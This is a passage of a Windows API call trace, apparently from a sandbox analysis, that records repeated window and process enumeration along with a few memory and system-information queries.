[0250.056] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0250.056] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0250.056] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0250.056] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0250.056] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0250.056] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0250.057] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0250.057] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0250.057] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0250.057] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0250.057] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0250.057] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0250.057] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0250.057] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0250.058] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0250.058] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0250.058] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0250.058] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0250.058] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0250.058] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0250.058] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0250.058] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0250.059] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0250.059] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0250.059] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0250.059] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0250.059] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0250.059] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0250.059] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0250.059] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0250.059] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0250.060] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0250.060] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0250.060] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0250.060] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0250.060] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0250.060] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0250.061] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0250.061] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0250.061] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0250.061] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0250.061] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0250.061] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0250.061] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0250.062] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0250.062] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0250.062] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0250.062] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0250.062] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0250.062] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0250.062] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0250.063] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0250.063] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0250.063] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0250.063] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0250.063] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0250.063] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0250.063] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0250.064] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0250.064] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0250.064] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0250.064] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0250.064] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0250.064] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0250.064] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0250.064] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0250.065] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0250.065] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0250.065] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0250.065] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0250.065] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0250.065] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0250.065] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0250.066] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0250.066] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0250.066] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0250.066] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0250.066] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0250.066] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0250.066] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0250.066] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0250.067] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0250.067] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0250.067] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0250.067] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0250.067] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0250.067] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0250.067] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0250.069] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0250.139] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0253.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x13098) returned 0x0
[0253.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x13098) returned 0x0
[0253.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x13098) returned 0x0
[0253.086] VirtualAlloc (lpAddress=0x280c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x280c000
[0253.850] EnumWindows (lpEnumFunc=0x1b1a2a5c, lParam=0x0) returned 1
[0253.852] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0253.852] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.852] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.852] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.853] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.853] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0253.853] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.853] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0253.853] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0253.854] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.854] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.854] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.854] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.854] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.854] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.855] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.855] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.855] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0253.855] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.855] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.856] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0253.856] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0253.856] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0253.856] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0253.859] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0253.860] IsWindowVisible (hWnd=0x102dc) returned 0
[0253.860] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0253.860] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0253.860] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0253.860] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0253.860] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.860] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.861] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.861] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.861] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.861] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.861] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.861] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.861] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0253.861] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0253.861] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0253.861] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0253.862] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0253.862] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0253.862] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0253.862] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0253.862] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0253.862] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0253.862] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0253.862] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0253.863] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0253.863] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0253.863] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0253.863] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0253.863] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0253.863] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0253.863] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0253.863] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0253.864] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0253.864] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0253.864] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0253.864] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0253.864] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0253.864] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0253.865] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0253.865] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0253.865] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0253.865] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0253.865] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0253.865] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0253.865] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0253.866] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0253.866] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0253.866] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0253.866] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0253.866] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0253.866] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0253.867] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0253.870] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0253.870] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0253.871] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0253.871] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0253.871] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0253.871] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0253.871] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0253.871] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0253.872] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0253.872] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
